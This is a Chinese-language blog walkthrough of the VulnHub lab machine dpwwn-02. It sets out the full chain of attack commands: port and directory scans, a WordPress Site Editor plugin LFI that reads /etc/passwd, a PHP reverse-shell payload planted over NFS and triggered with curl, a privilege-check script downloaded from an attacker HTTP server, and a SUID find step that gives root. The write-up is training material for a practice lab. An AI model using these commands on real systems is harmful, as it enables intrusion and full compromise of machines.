靶机地址
难度:中等+
靶机发布日期:2019年8月8日
靶机描述:This boot2root is a linux based virtual machine and has been tested using VMware workstation.
Difficulty: Intermediate++ and fun.
Goal: Get the root shell i.e.(root@dpwwn-02:~#) and then obtain flag under /root(dpwwn-02-FLAG.txt).
Networking
DHCP service: Disabled
Static IP address: 10.10.10.10
Note: Host only network adapter set (VM IP: 10.10.10.10/24)
博客中如有任何问题,恳请批评指正,万分感谢。个人邮箱:[email protected]
第一步,设置VMware的vmnet1(Host only)的子网IP为10.10.10.0,子网掩码255.255.255.0。
如果你也是用的Linux宿主机,那么需要通过命令行打开vmware,且使用root权限:
sudo vmware
才能修改VMware的网络配置。
第三步,配置kali的网络为Host only,手动其网络。
ifconfig eth0 10.10.10.12 netmask 255.255.255.0
靶机IP:10.10.10.10
端口和服务
nmap -sS -sV -A -T5 -p- 10.10.10.10 --system-dns
dirb http://10.10.10.10 -X .php,.txt,.zip,.html
gobuster dir -u http://10.10.10.10 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.txt,.html,.zip
wpscan扫描,现在使用wpscan需要使用官方的api-token,这个可以自己注册一个免费账号,但是扫描的时候报错了,看了一下因为kali现在连接不了外网,解决办法是把kali的网络连接模式改成NAT,这样既可以访问靶机也可以访问外网。
site editor插件存在LFI漏洞,http://10.10.10.10/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd
尝试挂载nfs共享,提示被服务器拒绝了,想到有可能是网络的问题,所以修改kali的网络设置为host only,然后用ifconfig临时配置了kali的IP为10.10.10.12,之后成功挂载
用LFI配合NFS共享打一波组合拳,反弹一下shell
ifconfig命令查看kali的IP:10.10.10.12
第一步,msfvenom生成webshell
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.10.12 LPORT=1234 R > shell.php
!!!
注意:使用时需要去掉最开头的两个字符/*
,不然浏览器访问反弹shell的php网页会看到/*,并且无法反弹shell.
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.0.108
set lport 1234
run
第三步,使用curl或者浏览器发起请求
curl http://10.10.10.10/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php\?ajax_path\=/home/dpwwn02/webshell.php
python -c 'import pty; pty.spawn("/bin/bash")'
关于Linux提权,可以直接用脚本搜集一下对于提权有用的信息,比如用linuxprivchecker.py、LinEnum.sh.
如果你想熟悉一下没有脚本的情况下怎么收集这些信息可以参考privilege_escalation_-_linux
先在kali上开启HTTP服务
python -m SimpleHTTPServer 65534
使用wget下载linuxprivchecker.py脚本到靶机的tmp目录
因为本人所在的地理位置不允许直接访问Github,所以我是从自己的kali下载的
cd /tmp
wget http://192.168.0.108:65534/Desktop/linuxprivchecker.py
为了便于查看收集到的信息,我将结果输出到report.txt文本中
python linuxprivchecker.py > report.txt
靶机做了这些后发现还是手动收集更快……,手动收集不到有效信息的情况下再尝试用脚本。
SUID权限可执行文件,发现find命令具有SUID权限
find / -perm -u=s -type f 2>/dev/null
想直接使用find反弹shell的,结果因为靶机是Ubuntu系统,出于安全考虑默认是无法使用-e参数的
使用SUID权限的find命令提权时主要是利用它的-exec参数,比如,执行nc命令;配合cat 读取/etc/shadow。感觉还是贼好玩的~
本来想用echo往/etc/passwd添加一个超管用户的,结果提示没有权限……
嗯~这怎么难得到我,SUID权限的/bin/bash可以提权,对吧~那我们来一波骚气的操作。用find配合chmod给/bin/bash赋予SUID权限。
find hack -exec chmod u+s /bin/bash \;
如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。更多VulnHub靶机的Walkthrough,请访问本人博客(https://blog.csdn.net/weixin_44214107)。欢迎扫描下方个人微信二维码与我交流。我是ins1ght.